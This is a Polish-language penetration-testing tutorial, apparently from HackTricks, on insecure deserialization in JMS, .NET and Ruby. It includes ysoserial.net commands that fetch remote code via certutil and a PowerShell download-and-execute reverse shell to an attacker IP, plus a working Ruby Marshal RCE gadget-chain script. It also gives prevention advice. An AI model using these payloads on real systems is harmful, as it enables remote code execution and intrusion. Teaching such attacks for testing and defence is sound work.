W zasadzie istnieje wiele usług korzystających z JMS w niebezpieczny sposób. Dlatego, jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować prawidłowych poświadczeń), możesz wysłać zserializowane złośliwe obiekty, które zostaną zdeserializowane przez odbiorcę/subskrybenta.
Oznacza to, że w tej eksploatacji wszyscy klienci korzystający z tej wiadomości zostaną zainfekowani.

Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć odpowiednie gadżety, aby wykorzystać podatność.

Narzędzie JMET zostało stworzone do łączenia się i atakowania tych usług, wysyłając wiele zserializowanych złośliwych obiektów za pomocą znanych gadżetów. Te ataki będą działać, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadżetów znajduje się w podatnej aplikacji.

Referencje

.Net

W kontekście .Net, ataki deserializacyjne działają podobnie jak w przypadku Javy, gdzie wykorzystuje się gadżety do uruchamiania określonego kodu podczas deserializacji obiektu.

Odcisk palca

WhiteBox

Kod źródłowy powinien zostać sprawdzony pod kątem wystąpień:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Należy skupić się na serializatorach, które pozwalają na określenie typu za pomocą zmiennej kontrolowanej przez użytkownika.

BlackBox

Wyszukiwanie powinno być skierowane na zakodowany ciąg znaków Base64 AAEAAAD///// lub dowolny podobny wzór, który może być poddany deserializacji po stronie serwera, umożliwiając kontrolę nad typem do deserializacji. Może to obejmować, ale nie jest ograniczone do, struktur JSON lub XML zawierających TypeObject lub $type.

ysoserial.net

W tym przypadku można użyć narzędzia ysoserial.net w celu tworzenia ataków deserializacji. Po pobraniu repozytorium git należy skompilować narzędzie za pomocą na przykład Visual Studio.

Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje ataki, możesz sprawdzić tę stronę, gdzie wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatowanie Json.Net.

Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.

  • --gadget służy do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystana podczas deserializacji do wykonania poleceń).
  • --formatter, służy do wskazania metody serializacji ataku (musisz wiedzieć, jaką bibliotekę używa back-end do deserializacji ładunku i użyć tej samej do jego serializacji).
  • --output służy do wskazania, czy chcesz atak w formacie surowym lub kodowanym Base64. Należy zauważyć, że ysoserial.net zakoduje ładunek za pomocą UTF-16LE (domyślnie używanego kodowania w systemie Windows), więc jeśli otrzymasz surowy ładunek i zakodujesz go z konsoli Linux, możesz napotkać problemy z kompatybilnością kodowania, które uniemożliwią poprawne działanie ataku (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działał).
  • --plugin ysoserial.net obsługuje wtyczki do tworzenia ataków dla konkretnych frameworków, takich jak ViewState

Więcej parametrów ysoserial.net

  • --minify dostarczy mniejszego ładunku (jeśli to możliwe)
  • --raf -f Json.Net -c "anything" Spowoduje to wskazanie wszystkich gadżetów, które można użyć z podanym formatowaniem (Json.Net w tym przypadku)
  • --sf xml można wskazać gadżet (-g) i ysoserial.net będzie wyszukiwać formatery zawierające "xml" (bez rozróżniania wielkości liter)

Przykłady użycia ysoserial.net do tworzenia ataków:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma również bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test
Jeśli podasz ten parametr, ysoserial.net spróbuje uruchomić exploit lokalnie, dzięki czemu możesz przetestować, czy twoje payloady działają poprawnie.
Ten parametr jest pomocny, ponieważ w kodzie znajdziesz fragmenty kodu takie jak ten (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To oznacza, że w celu przetestowania exploitu kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim kodzie występuje podatność na stworzenie exploitu. Jeśli więc znajdziesz coś podobnego w aplikacji .Net, oznacza to prawdopodobnie, że ta aplikacja również jest podatna.
Dlatego parametr --test pozwala nam zrozumieć, które fragmenty kodu są podatne na exploit deserializacji, który może stworzyć ysoserial.net.

ViewState

Zajrzyj do tego POSTA na temat jak próbować wykorzystać parametr __ViewState w .Net aby wykonać dowolny kod. Jeśli już znasz sekrety używane przez maszynę ofiary, przeczytaj ten post, aby dowiedzieć się, jak wykonać kod.

Zapobieganie

Aby zmniejszyć ryzyko związane z deserializacją w .Net:

  • Unikaj pozwalania strumieniom danych na definiowanie typów obiektów. Korzystaj z DataContractSerializer lub XmlSerializer, gdy to możliwe.

  • Dla JSON.Net, ustaw TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Unikaj korzystania z JavaScriptSerializer z JavaScriptTypeResolver.

  • Ogranicz typy, które mogą być deserializowane, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak System.IO.FileInfo, które mogą modyfikować właściwości plików serwera, co potencjalnie prowadzi do ataków typu odmowa usługi.

  • Bądź ostrożny w przypadku typów posiadających ryzykowne właściwości, takich jak System.ComponentModel.DataAnnotations.ValidationException z jego właściwością Value, która może być wykorzystana.

  • Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec wpływaniu atakujących na proces deserializacji, co sprawia, że nawet DataContractSerializer lub XmlSerializer są podatne.

  • Wprowadź kontrolę na białej liście, korzystając z niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.

  • Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji w .Net i upewnij się, że deserializatory nie instancjonują takich typów.

  • Izoluj potencjalnie ryzykowny kod od kodu z dostępem do internetu, aby uniknąć ujawnienia znanych gadżetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF, dla niezaufanych źródeł danych.

Odnośniki

Ruby

W Ruby serializacja jest ułatwiona przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do przekształcenia obiektu w strumień bajtów. Ten proces nazywany jest serializacją. Z kolei druga metoda, load, służy do przywrócenia strumienia bajtów do obiektu, proces ten nazywany jest deserializacją.

W celu zabezpieczenia obiektów zserializowanych, Ruby używa HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany w tym celu jest przechowywany w jednym z kilku możliwych miejsc:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X ogólna deserializacja do RCE gadget chain (więcej informacji na stronie https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Inne łańcuchy RCE do wykorzystania w Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia dla HackTricks: